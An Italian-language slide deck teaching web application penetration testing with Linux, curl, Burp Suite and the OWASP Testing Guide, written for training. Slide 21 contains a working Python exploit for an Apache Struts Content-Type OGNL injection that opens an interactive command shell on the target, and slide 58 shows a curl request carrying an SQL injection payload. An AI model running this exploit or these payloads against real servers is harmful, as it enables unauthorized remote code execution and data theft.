Come eseguire dei Web Application Penetration Test con Linux, Burp e la OWASP Testing Guide

1. Web Application
Penetration Test
con Linux
Simone Onofri
@simoneonofri
mailto:simone@onofri.org
CC BY-NC-ND

2. Agenda
• Introduzione
• Cos'è un WAPT e chi è il
Penetration Tester (Web)
• Metodologie per i WAPT
• HTTP
• Strumenti di base
• Un primo giro
• A mano e con l'intruder
• Altre vulnerabilità
• Port Scanning per il Web e non solo
(extra)

3. Introduzione

4. Cos'è un WAPT e chi è il
Penetration Tester (Web)

5. «Un Penetration Test, occasionalmente pen test, è un
metodo per la valutazione della sicurezza di un
sistema informatico o di una rete simulando un
attacco da parte di attaccanti esterni (che non hanno
di norma accesso ai sistemi informatici) e/o di
attaccanti interni (che hanno un qualche livello di
accesso autorizzato ai sistemi)»
-- CREST (Penetration Test Procurement Buyers' Guide)

6. PT != CTF != BB
Nonostante le competenze di base siano simili

7. Chi è il Penetration Tester
Un Penetration Tester è una
persona che applica un metodo,
utilizza degli strumenti e delle
tecniche per simulare un attacco
da parte di un agente di minaccia
esterno o interno
all'organizzazione bersaglio.

8. Cosa deve "sapere" un Penetration Tester
Web
• Competenze
• Programmazione*
• Tecnologie da testare (e.g. linguaggi web, database…)
• Reti e protocolli
• Metodologie
• Generali (e.g. OWASP TG/TOP, ISECOM OSSTMM,
PTES…)
• Attacchi specifici (e.g. SQLI, XSS, LFI…)
• Strumenti
• Sistema operativo
• Browser
• Interception Proxy
• Altro
• Scrivere
• Comunicare anche con Cliente
• Lavorare in team

9. Chi NON è il Penetration Tester
Non è un Penetration Tester chi tutto
il giorno utilizza solo strumenti per
cercare le vulnerabilità come Qualys,
Nessus, OpenVAS, Nikto, Acunetix….
Questi strumenti sono scanner
automatici […] per essere un
Penetration Tester devi essere
capace di sfruttare le manualmente
le vulnerabilità, fare privilege
escalation, exfiltration ecc…
-- Alex Yang

10. Metodologie per i WAPT

11. Metodologie per i WAPT
• NIST SP-800-115 come riferimento
generale
• OSSTMM v4
• OWASP Testing Guide e TOP 10
• Penetration Testing Execution
Standard (PTES)
• PCI-DSS se richiesto dalla
"compliance"
Tutte le metodologie sono importanti e hanno delle aree di
sovrapposizione ma anche delle peculiarità. Un buon
Penetration Tester sa combinarle correttamente.

12. Il processo del PTES
Intelligence
Gathering
Pre-Engagement Interactions
Threat
Modeling
Vulnerability Analysis
Reporting
Exploitation
Post Exploitation
Active Passive
Persistence Pivoting
Infrastructure Analysis
Pillaging

13. La lista delle categoria della Testing Guide
Testing for Information Gathering (e.g. Motori di ricerca, Web server, Enumerazione…)
Configuration and Deployment Management Testing (e.g. Infrastruttura, Web Server…)
Identity Management Testing (e.g. Registrazione, Ruoli, Provisioning…)
Authentication Testing (e.g. Password, Lockout, Bypass, Cache, Cambio/recupero credenziali…)
Authorization Testing (e.g. Bypass, Directory Traversal, Escalation di Privilegi, Insecure Direct Onject Ref….)
Session Management Testing (e.g. Bypass, Cookie, Session Fixation, CSRF, Logout, Timeout…)
Input Validation Testing (e.g. Injection, XSS, Overflow, format string…)
Testing for Error Handling (e.g. Applicativo, Web/Application Server, Stack trace…)
Testing for weak Cryptography (e.g. SSL/TLS, Padding Oracle, Crittografia…)
Business Logic Testing (e.g. Richieste arbitrarie, Logica, Flussi, Abusi, File Upload…)
Client Side Testing (e.g. DOM, Javascript, CSS, Redirect, CORS, Clickjacking, HTML5…)

14. Una "pre-engagement interaction" tipica
[Insert Your Organization Logo]
Memorandum for File
Subject: Vulnerability Assessment and Penetration Testing Authorization
Date: MMDDYY
To properly secure this organization's information technology assets, the information security team is required to assess our security stance
periodically by conducting vulnerability assessments and penetration testing. These activities involve scanning our desktops, laptops, servers,
network elements, and other computer systems owned by this organization on a regular, periodic basis to discover vulnerabilities present on these
systems. Only with knowledge of these vulnerabilities can our organization apply security fixes or other compensating controls to improve the security
of our environment.
The purpose of this memo is to grant authorization to specific members of our information security team to conduct vulnerability assessments and
penetration tests against this organization's assets. To that end, the undersigned attests to the following:
1) [Insert name of tester], [Insert name of tester], and [Insert name of tester] have permission to scan the organization's computer equipment to find
vulnerabilities. This permission is granted for from [insert start date] until [insert end date].
2) [Insert name of approver] has the authority to grant this permission for testing the organization's Information Technology assets.
[Insert additional permissions and/or restrictions if appropriate.]
Signature: ___________________________ Signature: ___________________________
[Name of Approver] [Name of Test Team Lead]
[Title of Approver] [Title of Test Team Lead]
Date: __________________________ Date: __________________________
http://www.counterhack.net/permission_memo.html

15. Il reporting…
• Il report finale di un Penetration Test
è l’ultima fase del test stesso
• Come tale, può essere considerata la più
importante
• Se il nostro obiettivo come penetration
tester è quello di aiutare le organizzazioni
a migliorare la propria sicurezza, il report
è in genere il nostro mezzo più efficace
per farlo (in quanto utilizzato come linea
guida per il patching delle vulnerabilità
emerse)
• La buon stesura di un report indica
anche la professionalità di un
Penetration Tester
• Quindi è importante anche prendere gli
appunti in maniera corretta durante il
test.

16. Come funziona HTTP?
URIMethod
Header: Value
<CR> <LF>
Header: Value
<CR> <LF>
Header: Value
<CR> <LF>
HTTP Request
Body
<CR> <LF> <CR> <LF>
<SP> Protocol<SP> CodeProtocol
Header: Value
<CR> <LF>
Header: Value
<CR> <LF>
Header: Value
<CR> <LF>
HTTP Response
Body
<CR> <LF> <CR> <LF>
<SP>
Explanati
on
<SP>
https://tools.ietf.org/html/rfc1945
https://www.ietf.org/rfc/rfc2616.txt

17. HTTP Request - Metodi
• OPTIONS (vedere I metodi abilitati)
• GET
• HEAD (solo header)
• POST
• PUT
• DELETE
• TRACE (riflette la richiesta)
• CONNECT (proxy)
• WebDAV
• PROPFIND
• PROPPATCH
• MKCOL
• COPY
• MOVE
• LOCK
• UNLOCK

18. HTTP Request - Metodi comuni
• GET: per richiedere risorse passando i
parametri tramite URL
(http://onofri.org/index.php?chiave=valor
e)
• E’ possibile salvare i parametri (e.g. nella
history)
• Vengono esposti nei log (quindi non è bene
che siano presenti dati di un certo tipo).
• Facilmente manipolabili
• POST: per richiedere risorse passando i
parametri nel payload di HTTP
• E’ possibile comunque manipolarli
• E’ il modo migliore per passare credenziali
• E’ possibile che l’applicazione possa
invertire POST e GET
• HEAD: per richiedere solo gli header
• Per visualizzare solamente gli Header
• Verificare il codice di ritorno di una pagina
• La leggenda vuole che ci si possano fare i
bypass*
• CONNECT è un ulteriore metodo che può
essere utilizzato se è presente un proxy.
• TRACE è un metodo che può essere
utilizzato per riflettere i parametri, quindi
potenzialmente un Cross Site Scripting.

19. Primo strumento: curl
• Se netcat è il coltellino svizzero del
"network", curl è il coltellino
svizzero open source del "web".
• Per capire come si usa: "man curl"
|| "curl --help" ☺
• Di norma utilizziamo alcuni switch:
• -k: insicuro*
• -i: include gli header
• -s: silenzioso
• -X: specifica il verb
• -d: dati in post
• -L: segue i redirect
• -v: output verboso
• Esempi
• $ curl -kis -X <method>
https://onofri.org
• $ curl -kis
"https://onofri.org/index
.php?param1=value1&param2
=value2"
• $ curl -kis –X HEAD
https://onofri.org/
• $ curl -d
"data=example1&data2=exam
ple2" https://onofri.org

20. HTTP Request - Version
• Sono presenti differenti versioni di HTTP:
• Attualmente utilizziamo il protocollo HTTP nelle
sue due versioni più comuni: 1.0 e 1.1 e sono
disponibili anche 2.0 e – storicamente
supportato – HTTP 0.9.
• Ogni protocollo ha delle differenze peculiari.
Una delle caratteristiche più interessanti
durante un Penetration Tester è la possibilità del
1.1 di poter utilizzare i virtual host.
• Durante un Penetration Test sono utili per:
• Identificare altri virtual host, permette di
identificare altre applicazioni web e identificare
altra superficie di attacco.
• Fare fingerprinting analizzando le risposte a
richieste particolari (e.g. versioni obsolete o non
esistenti, altri protocolli)
$ echo "GET / ANTANI/1.0rnrn" | nc onofri.org 80
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not
understand.<br />
</p>
<hr>
<address>Apache Server at onofri.org Port 80</address>
</body></html>
$ curl -kis —http1.0 -H "Host: onofri.org" http://
67.222.36.105
$ curl -kis —http1.1 -H "Host: onofri.org" http://
67.222.36.105

21. HTTP Request - Header
• Nel browser non vediamo gli header, ma in
generale la modifica di questi elementi può
modificare completamente il comportamento
del server e/o dell’applicazione e sono da
considerare campi di input:
• Cookie (Data Validation)
• Authorization (Basic Authentication)
• Host (Virtual Host)
• Origin (Policy)
• Via (Data Validation, Non Repudiation)
• User-Agent (Data Validation)
• Referer (Data Validation, Authorization)
• Content-type (Data validation)
• Si può testare con curl
• $ curl -kis -H "Via: 127.0.0.1"
http://onofri.org/
Esempio di una RCE che utilizza il Content-Type.
import urllib2
chk=raw_input(' Link: ')
cmd='antani'
while(cmd):
cmd=raw_input(' $Shell:')
payload = "%{(#_='multipart/form-
data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBE
R_ACCESS).(#_memberAccess?(#_memberAccess=#
dm):((#container=#context['com.opensymphony
.xwork2.ActionContext.container']).(#ognlUt
il=#container.getInstance(@com.opensymphony
.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.ge
tExcludedPackageNames().clear()).(#ognlUtil
.getExcludedClasses().clear()).(#context.se
tMemberAccess(#dm)))).(#cmd='" + cmd + " &&
echo
Lucif3r').(#iswin=(@java.lang.System@getPro
perty('os.name').toLowerCase().contains('wi
n'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:
{'/bin/bash','-c',#cmd})).(#p=new
java.lang.ProcessBuilder(#cmds)).(#p.redire
ctErrorStream(true)).(#process=#p.start()).
(#ros=(@org.apache.struts2.ServletActionCon
text@getResponse().getOutputStream())).(@or
g.apache.commons.io.IOUtils@copy(#process.g
etInputStream(),#ros)).(#ros.flush())}"
req = urllib2.Request(chk,
headers={'User-Agent': 'Mozilla/5.0',
'Content-Type': payload})
con=urllib2.urlopen(req).read()
end=con.find('antani')
print con[0:end]

22. HTTP Response – Protocol / Code / Explanation / Version /
Header
• La risposta HTTP ci fornisce una serie di
informazioni utili su come il server ha reagito alla
nostra richiesta:
• Possiamo capire come ci risponde il server a livello di
protocollo e codice.
• Informazioni sui codici di errore e sulle pagine che
vengono restituite dal server (spesso lasciate di default).
• Possiamo eseguire della manipolazione dei
parametri su cui abbiamo accesso vengono
inseriti negli Header:
• HTTP Response Splitting
• Open Redirect
• Header Injection
• Leggendo i response Header normalmente
si possono estrarre numerose
informazioni e vulnerabilità:
• Policy relative al caching e alla durata della
pagina (e.g. Pragma, Cache-Control)
• Policy per l’accesso alle informazioni (e.g.
Content-Type)
• Codifica utilizzata
• Come sono strutturati i Cookie (e.g. Set-Cooke
con HTTPOnly, Secure, Path, Domain, Expire,
Max-Age)
• Informazioni sull’infrastruttura (e.g. Server, X-
Powered-by, Alternates…)
• Policy di protezione (e.g. X-XSS-Protection,
CORS, X-Frame-Options, HSTS, CSP, X-
Content-Type-Options, X-Download-Options,
HSTS)

23. Dove siamo nel TCP/IP?
• Application: Servizi applicativi
per l’utente (nel nostro caso
HTTP).
• Transport: Organizza I dati per il
trasporto e la loro trasmissioni
(nel nostro caso TCP).
• Internet/Gateway: Gestisce
l’indirizzamento logico tra due
sistemi, anche quelli che ono
sono connessi direttamente,
come anche il percordo per
arrivare a questi sistemi (nel
nostro caso IPv4).
• Network : Converte le
informazioni logiche sui
dispositivi fisici (nel nostro caso
Ethernet).
+------+ +-----+ +-----+ +-----+
|Telnet| | FTP | |Voice| ... | | Application Level
+------+ +-----+ +-----+ +-----+
| | | |
+-----+ +-----+ +-----+
| TCP | | RTP | ... | | Host Level
+-----+ +-----+ +-----+
| | |
+-------------------------------+
| Internet Protocol & ICMP | Gateway Level
+-------------------------------+
|
+---------------------------+
| Local Network Protocol | Network Level
+---------------------------+
Protocol Relationships
https://tools.ietf.org/html/rfc793

24. Strumenti di base

25. I ferri del mestiere
• Una macchina virtuale di attacco
• Sistema operativo normalmente linux (e.g. kali)
• Una serie di strumenti (e.g. scanner, script)
• Browser che possono essere arricchiti da add-on
• Proxy (e.g. burp e zap)
• Una serie di machine virtuali come bersaglio
• Diversi documenti e link cui fare riferimento come checklist e spunti per ulteriori
attacchi
Sul mercato sono presenti una serie di strumenti “fire & forget” che da un lato
sono “veloci” ma dall’altro creano molto rumore e trovano spesso solo le cose più
semplici.

26. Incerception proxy
• Quando si eseguono degli attacchi alle applicazioni web si usa spesso un
proxy che intercetta le richieste tra noi (normalmente il nostro browser) e il
bersaglio.
• Ci è quindi possibile vedere, bloccare, modificare e memorizzare tutto
quello che accade tra noi e il bersaglio.
• Esistono molti modi di intercettare il traffico, ma in generale usare strumenti
come burp e zap permettono di gestire in maniera agevole anche il traffico
HTTPS – altrimenti non facilmente visibile e manipolabile.
Browser Proxy Bersaglio

27. Browser
• E’ uno degli strumenti principali
quando facciamo questo tipo di
attività
• Di norma non esiste un browser
migliore per fare i test. Oltre alle
preferenze personali bisogna
valutare almeno:
• Cosa è supportato dal bersaglio
• Eventuali filtri del browser (anti XSS)
• Funzionalità/Plugin disponibili
• E' tipico l'utilizzo di Firefox con
diversi add-on tra cui Firebug,
HackBar, Tamper Data, Live HTTP
Headers…

37. Burp - Intruder

45. Un primo giro

46. Si fa quindi una visita "manuale" di tutto il
bersaglio dal browser
• Partendo di solito da una
prospettiva "black-box"
si naviga il sito
direttamente da browser
su tutto il sito
• In questo modo su Burp
compare la sitemap il più
completa possibile
• Si ripete poi anche coi
vari profili da autenticati

47. La prima cosa da fare è definire l'ambito
• Si configura il browser
per lavorare con Burp
• Si fa una richiesta dal
browser al bersaglio
• Si aggiunge allo scope
• C'è anche l'opzione per
evitare che Burp (e noi di
consegnenza) si colleghi
al di fuori dall'ambito

48. Si fa quindi una visita "automatica" di tutto il
bersaglio tramite lo spider/crawler
• Una volta ottenuta la mappa su
quanto è "visibile" da un
utente che clicca normalmente
visitando il sito si procede con
un approccio più automatico
• Dal tab "Spider" si può
configurare lo strumento*
• Dal tab "Scope" click destro
"spider this host"
• Quindi dal tab "Spider" e
"Control" si verifica come
procede

49. Si possono fare quindi delle ricerche
cercando di indovinare i file
• Oltre a cercare i riferimenti dalle pagine presenti è possibile:
• Fare brute-force di file o directory (il risultato dipende dalla wordlist):
• /usr/share/seclists/Discovery/Web_Content/
• Utilizzare l’intuito sui nomi delle pagine potenzialmente presenti da quelle
presenti, particolarmente intuitivo quando sono presenti delle API (e.g.
/user/add /user/edit)
• Strumenti:
• ZAP (DirBuster)
• gobuster

50. Il robots.txt
• Per migliorare il rapporto tra crawler/spider e siti web è spesso presente sui
siti esposti su internet, nella webroot il file robots.txt (accessibile da non
autenticati) che descrive come dovrebbero comportarsi tali strumenti:
• User-Agent: specifica lo user agent a cui si applica la direttiva
• Crawl-Delay: specifica il ritardo tra le varie richieste (potenziale informazione per
poter eseguire dei DoS)
• Allow: permette l’indicizzazione
• Deny: nega l’indicizzazione (ma allo stesso tempo espone l’URL)
• Sitemap: nell’ottica di favorire l’indicizzazione una lista in XML (grazie a Google) per
avere la lista «ufficiale» delle pagine del sito. Solitamente generata automaticamente
potrebbe avere comunque contenuti interessanti.

51. Si procede quindi analizzando le varie pagine sia
nei loro header che nel contenuto e la loro
struttura
• Anzitutto capiamo
come è fatto il sito e le
funzionalità (sitemap)
• Tramite il form di
ricerca e a mano
cerchiamo elementi
interessanti (e.g.
header, commenti)
• Cerchiamo ulteriori
pagine ed elementi
interessanti nel codice
js e css

52. Prendiamo gli appunti
• Il prendere appunti è un
elemento piuttosto personale
• C'è chi usa il blocco note (e.g.
markdown), keepnote e chi
direttamente uno pseudo report.
• Burp ha una funzionalità interna
per gli appunti molto utile per
prendere note e evidenziare gli
elementi che riteniamo
interessanti.

53. A mano e con l'intruder

54. Trovati gli elementi interessanti possiamo
andarci a lavorare
• Quando abbiamo trovato le
varie informazioni e
vogliamo lavorare sulla
Parameter Manipulation
(magari ci siamo tenuti gli
appunti a riguardo)
possiamo usare il Repeater
• Prendiamo la richiesta >
click destro > send to
repeater

55. Il repeater
• E' il nostro "tavolo di lavoro"
manuale
• Cominciamo ripetendo
anzitutto la richiesta
(abbiamo un happy case di
quando la pagina funziona)
• Possiamo quindi modificare
la nostra richiesta per capire
se c'è qualche vulnerabilità

56. Lavorare nel repeater
• E' il nostro "tavolo di lavoro"
manuale
• Cominciamo ripetendo
anzitutto la richiesta
(abbiamo un happy case di
quando la pagina funziona)
• Possiamo quindi modificare
la nostra richiesta per capire
se c'è qualche vulnerabilità

57. Encoding e modifica delle richieste
• Dopo aver trovato
diversi probe possiamo
capire se c'è qualche
vulnerabilità
• Ricordiamoci che Burp
non fa encoding di alcun
tipo, in caso dobbiamo
aggiungerlo a mano (o
usando il decoder)
• Possiamo quindi fare la
richiesta nel Browser
(click destro > send
request in browser)

58. Salvare le informazioni dal repeater
• Possiamo quindi fare il "save as curl
command" per poter avere la nostra
commandline per fare proof of concept o
semplicemente per prendere nota
• Oppure fare "send request in browser" per
poter prendere uno screenshot più
comprensibile (e.g. per le XSS)
• Andiamo poi a sistemare la nota sul Proxy e il
relativo highlight così da procedere con
ordine.
curl -i -s -k -X $'GET'
-H $'Host: 192.168.149.195'
-H $'Accept-Encoding: gzip,
deflate' -H $'Accept: */*' -H
$'Accept-Language: en' -H
$'User-Agent: Mozilla/5.0
(compatible; MSIE 9.0; Windows
NT 6.1; Win64; x64;
Trident/5.0)' -H $'Connection:
close' -H $'Referer:
http://192.168.149.195/'
$'http://192.168.149.195/sqli/ex
ample1.php?name=root'%20or%20'
1'='1'

59. Quando la mano non basta… Fuzzing!
• Il Fuzzing è il processo di invio di dati casuali o
pseudo-casuali, attraverso diversi input verso
un bersaglio, normalmente un applicazione
• Una volta che l’input è stato inviato, si analizzano i
risultati e lo status dell’applicazione per determinare
i comportamenti dell’applicazione
• E’ importante definire una baseline di
comportamento normale dell’applicazione per
capire quando ci sono anomalie come ad esempio
• Status HTTP
• Messaggi
• Dimensioni
• Il fuzzing di un applicazione web potrebbe essere più
efficace se fatto osservando i log

60. Fuzzing - FuzzDB
• Quando usiamo il fuzzing (non casuale) è utile avere delle stringhe per poter
ottimizzare il fuzzing che può essere anche molto lungo:
• Di norma sono necessarie molte richieste
• Durante il fuzzing le applicazioni possono richiedere più tempo per rispondere o
andare in blocco e quindi essere riavviate.
• FuzzDB è un progetto che fornisce le stringhe di attacco, come input del
fuzzing:
• https://github.com/fuzzdb-project/fuzzdb

61. Fuzzing - Burp Intruder
• Burp Intruder è un fuzzer all’interno della suite Burp
• Le richieste vengono inviate dagli altri strumenti all’interno della suite
• «Send to Intruder»
• All’interno dell’Intruder si possono scegliere diverse tipologie di attacco da
eseguire
• Sniper (cecchino) – più parametri, stesso payload, uno alla volta
• Battering Ram (ariete) – più parametri, stesso payload, tutto insieme
• Pitchfork (forca) – più parametri, più payload (e.g. user-password)
• Cluster Bomb (bomba a grappolo) – più parametri, più payload, tutte le combinazioni
Tutorial : https://nitstorm.github.io/blog/burp-suite-intruder-attack-types/

62. Utilizzare l'intruder
• L'intruder è altamente
configurabile.
• Target: indirizzo IP su cui
fare l'attacco
• Positions: aggiungere le
varie sezioni (§) in cui deve
essere inserito il payload

63. I payload dell'intruder
• Nella parte payload è
possibile specificare il tipo
di payload (lista, iteratori…)
secondo quello che ci serve
• Eventuali elaborazioni (e.g.
aggiunta di suffissi)
• Ulteriori encoding.

64. Le opzioni dell'intruder
• Le opzioni ci
permettono di
personalizzare la
tabella di output
dell'intruder
evidenziando la
presenza di parola
(e.g. success)
• Oppure estraendo
tramite regex delle
porzioni della
risposta.

65. Lanciare l'attacco e altre note
• Finita la nostra configurazione
possiamo tornare
• Quando lanciamo un fuzzer, in
particolare su un applicazione web
è importante avere delle buone
liste (che è sempre utile
personalizzare)
• Una buon punto di partenza è
https://github.com/danielmiessler/
SecLists dove è presente anche una
cartella con payload di fuzzing

66. Quali vulnerabilità trovare
• Quando abbiamo un input (parametro, verb, cookie…) possiamo
manipolarlo/fuzzarlo e - capendo come viene usato all'interno dell'applicazione
trovare qualche vulnerabilità:
• Utilizzato nella risposta HTTP/HTML/JS/CSS: XSS, HTTP Verb Tampering/Parameter Pollution
• All'interno di un interprete o delle API: Injection (SQL, NOSQL, LDAP, XML, XXE LDAP, ORM,
Xpath, Xquerym SSI, Code, Command, LFI, RFI, BO…)
• Qui la lista (abbastanza) completa
https://www.owasp.org/index.php/Testing_for_Input_Validation
• Alcune note:
• XSS - https://www.slideshare.net/simone.onofri/hackers-vs-developers-cross-site-scripting-
xss-attacco-e-difesa
• SQLI - https://www.slideshare.net/simone.onofri/hackers-vs-developers-sql-injection-
attacco-e-difesa
• ORM - https://www.slideshare.net/simone.onofri/orm-injection

67. Altre vulnerabilità

68. Non è solo Input Validation!
• Al netto della parte di input validation sono presenti ulteriori
categorie di vulnerabilità elencate nella Testing Guide.
• Possono essere meno divertenti da trovare - e magari l'impatto non è
critico come una RCE ma in un WAPT si cercano comunque (e in
alcuni - rari - casi sono le uniche che riusciamo a trovare perché
l'applicazione è scritta bene da questi punti di vista).

69. Problemi nell'identificazione
• Test Role Definitions (OTG-IDENT-001)
• Test User Registration Process (OTG-IDENT-002)
• Test Account Provisioning Process (OTG-IDENT-003)
• Testing for Account Enumeration and Guessable User Account (OTG-IDENT-
004)
• Testing for Weak or unenforced username policy (OTG-IDENT-005)

70. Problemi sull'autenticazione
• Testing for Credentials Transported over an Encrypted
Channel (OTG-AUTHN-001)
• Testing for default credentials (OTG-AUTHN-002)
• Testing for Weak lock out mechanism (OTG-AUTHN-003)
• Testing for bypassing authentication schema (OTG-AUTHN-
004)
• Test remember password functionality (OTG-AUTHN-005)
• Testing for Browser cache weakness (OTG-AUTHN-006)
• Testing for Weak password policy (OTG-AUTHN-007)
• Testing for Weak security question/answer (OTG-AUTHN-008)
• Testing for weak password change or reset functionalities
(OTG-AUTHN-009)
• Testing for Weaker authentication in alternative channel
(OTG-AUTHN-010)

71. Problemi sull'autorizzazione
• Testing Directory traversal/file include
(OTG-AUTHZ-001)
• Testing for bypassing authorization
schema (OTG-AUTHZ-002)
• Testing for Privilege Escalation (OTG-
AUTHZ-003)
• Testing for Insecure Direct Object
References (OTG-AUTHZ-004)

72. Problemi di sessione
• Testing for Bypassing Session Management Schema (OTG-SESS-001)
• Testing for Cookies attributes (OTG-SESS-002)
• Testing for Session Fixation (OTG-SESS-003)
• Testing for Exposed Session Variables (OTG-SESS-004)
• Testing for Cross Site Request Forgery (CSRF) (OTG-SESS-005)
• Testing for logout functionality (OTG-SESS-006)
• Test Session Timeout (OTG-SESS-007)
• Testing for Session puzzling (OTG-SESS-008)

73. Ulteriori Problemi
• Gestione degli errori
• Crittografia
• Business Logic
• Questioni lato cliente (CSS Injection, CORS)
• Configurazione dell'applicazione e del web server

74. Grazie
simone@onofri.org
@simoneonofri
https://onofri.org
https://linkedin.com/in/simoneonofri